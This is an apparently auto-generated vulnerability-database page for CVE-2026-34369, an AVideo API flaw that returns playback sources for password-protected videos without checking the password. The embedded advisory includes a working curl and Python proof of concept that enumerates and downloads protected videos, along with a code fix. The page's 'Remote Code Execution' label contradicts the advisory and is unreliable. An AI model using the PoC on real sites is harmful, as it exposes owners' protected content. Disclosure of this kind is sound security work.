CVE-2026-34369: Wwbn/avideo Remote Code Execution Vulnerability
MODERATECVE-2026-34369 is a MODERATE (CVSS 5.3) remote code execution vulnerability (CWE-862: Missing Authorization) affecting Wwbn/avideo libraries in the Packagist ecosystem. The issue involves avideo has video password protection bypass via api endpoints returning full playback sources without password verification. Remediation is available in the latest vendor maintenance releases.
CVE-2026-34369 at a Glance
Security Impact
CVSS: 5.3
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N).
How to Fix CVE-2026-34369
To remediate this vulnerability, upgrade all affected Wwbn/avideo dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade wwbn/avideo to Latest secure release
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for wwbn/avideo
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-34369, inspect your project dependencies for Wwbn/avideo:
inspect dependencies for wwbn/avideo
Analyze the terminal output to locate any version of Wwbn/avideo in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-862: Missing Authorization, where the product does not perform an authorization check when an actor attempts to access a resource or perform an action. In Wwbn/avideo, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-34369 Affected Wwbn/avideo Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
wwbn/avideo
|
Packagist |
≤ 26.0
|
|
References
Frequently Asked Questions
What is CVE-2026-34369?
Which Wwbn/avideo versions are affected?
What version fixes CVE-2026-34369?
Is wwbn/avideo affected?
What is the CVSS score of CVE-2026-34369?
What CWE is associated with CVE-2026-34369?
How can I check Packagist dependencies for CVE-2026-34369?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-q6jj-r49p-94fh",
"modified" : "2026-03-30T18:03:26Z",
"published" : "2026-03-30T18:03:26Z",
"aliases" : [ "CVE-2026-34369" ],
"summary" : "AVideo has Video Password Protection Bypass via API Endpoints Returning Full Playback Sources Without Password Verification",
"details" : "## Summary\n\nThe `get_api_video_file` and `get_api_video` API endpoints in AVideo return full video playback sources (direct MP4 URLs, HLS manifests) for password-protected videos without verifying the video password. While the normal web playback flow enforces password checks via the `CustomizeUser::getModeYouTube()` hook, this enforcement is completely absent from the API code path. An unauthenticated attacker can retrieve direct playback URLs for any password-protected video by calling the API directly.\n\n## Details\n\nThe video password protection is enforced in the web UI via `CustomizeUser::getModeYouTube()` (`plugin/CustomizeUser/CustomizeUser.php:787`), which calls `videoPasswordIsGood()` before rendering the video player. However, this hook is only invoked during web page rendering — the API endpoints bypass it entirely.\n\n**Vulnerable endpoint 1 — `get_api_video_file` (`plugin/API/API.php:986-1004`):**\n\n```php\npublic function get_api_video_file($parameters)\n{\n global $global;\n $obj = $this->startResponseObject($parameters);\n $obj->videos_id = $parameters['videos_id'];\n if (!self::isAPISecretValid()) {\n if (!User::canWatchVideoWithAds($obj->videos_id)) {\n return new ApiObject(\"You cannot watch this video\");\n }\n }\n $video = new Video('', '', $obj->videos_id);\n $obj->filename = $video->getFilename();\n // ...\n $obj->video_file = Video::getHigherVideoPathFromID($obj->videos_id);\n $obj->sources = getSources($obj->filename, true);\n return new ApiObject(\"\", false, $obj);\n}\n```\n\nThe only access check is `User::canWatchVideoWithAds()` (`objects/user.php:1102-1159`), which checks admin status, video active status, owner status, and plugin-level restrictions (subscription/PPV). It does **not** check `video_password`. Password-protected videos have status `'a'` (active), which passes all checks.\n\n**Vulnerable endpoint 2 — `get_api_video` (`plugin/API/API.php:1635-1810`):**\n\nThis endpoint returns video metadata including full `videos` paths (line 1759) and `sources` arrays (line 1785) for all videos in query results, with no password verification anywhere in the function.\n\n**The intended password check exists but is never called from these endpoints:**\n\n`Video::verifyVideoPassword()` (`objects/video.php:543-553`) is the proper password verification function, and `get_api_video_password_is_correct` exists as a separate API endpoint — proving password verification was intended as an access control. But neither `get_api_video_file` nor `get_api_video` invoke any password check.\n\n## PoC\n\n```bash\n# Step 1: Identify a password-protected video via the video list API\ncurl -s 'https://target.com/plugin/API/get.json.php?APIName=video&rowCount=50' | \\\n python3 -c \"\nimport json, sys\ndata = json.load(sys.stdin)\nfor v in data.get('response',{}).get('rows',[]):\n if v.get('video_password'):\n print(f'ID: {v[\\\"id\\\"]}, Title: {v[\\\"title\\\"]}, Password Protected: YES')\n print(f' Direct sources: {json.dumps(v.get(\\\"sources\\\",[])[0] if v.get(\\\"sources\\\") else \\\"none\\\")}')\"\n\n# Step 2: Retrieve full playback sources for the password-protected video\ncurl -s 'https://target.com/plugin/API/get.json.php?APIName=video_file&videos_id=<PROTECTED_VIDEO_ID>'\n\n# Expected: access denied or password prompt\n# Actual: full response with direct MP4/HLS URLs:\n# {\"error\":false,\"response\":{\"videos_id\":\"123\",\"filename\":\"video_abc\",\n# \"video_file\":\"https://target.com/videos/video_abc/video_abc_HD.mp4\",\n# \"sources\":[{\"src\":\"https://target.com/videos/video_abc/video_abc_HD.mp4\",\"type\":\"video/mp4\"}]}}\n\n# Step 3: Download the protected video directly\ncurl -O 'https://target.com/videos/video_abc/video_abc_HD.mp4'\n```\n\n## Impact\n\nAny unauthenticated user can retrieve direct playable video URLs for all password-protected videos, completely bypassing the password requirement. The `get_api_video` endpoint additionally exposes which videos are password-protected (via the `video_password` field set to `'1'`), allowing targeted enumeration. This renders the `video_password` feature ineffective for any content accessible through the API, which includes mobile apps, third-party integrations, and direct API consumers.\n\n## Recommended Fix\n\nAdd password verification to both API endpoints before returning video sources. In `plugin/API/API.php`:\n\n```php\npublic function get_api_video_file($parameters)\n{\n global $global;\n $obj = $this->startResponseObject($parameters);\n $obj->videos_id = $parameters['videos_id'];\n if (!self::isAPISecretValid()) {\n if (!User::canWatchVideoWithAds($obj->videos_id)) {\n return new ApiObject(\"You cannot watch this video\");\n }\n // Check video password protection\n $video = new Video('', '', $obj->videos_id);\n $storedPassword = $video->getVideo_password();\n if (!empty($storedPassword)) {\n $providedPassword = @$parameters['video_password'];\n if (empty($providedPassword) || !Video::verifyVideoPassword($providedPassword, $storedPassword)) {\n return new ApiObject(\"Video password required\", true);\n }\n }\n }\n // ... rest of function\n}\n```\n\nApply the same check in `get_api_video()` before populating the `videos` and `sources` fields (around line 1759), replacing source data with an empty object when the password is not provided or incorrect. Also fix `get_api_video_password_is_correct` to use `Video::verifyVideoPassword()` instead of direct `==` comparison (line 1126), which currently fails for bcrypt hashes.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Packagist",
"name" : "wwbn/avideo"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"last_affected" : "26.0"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/WWBN/AVideo/security/advisories/GHSA-q6jj-r49p-94fh"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-34369"
}, {
"type" : "WEB",
"url" : "https://github.com/WWBN/AVideo/commit/be344206f2f461c034ad2f1c5d8212dd8a52b8c7"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/WWBN/AVideo"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-862" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2026-03-30T18:03:26Z",
"nvd_published_at" : "2026-03-27T19:16:42Z"
}
}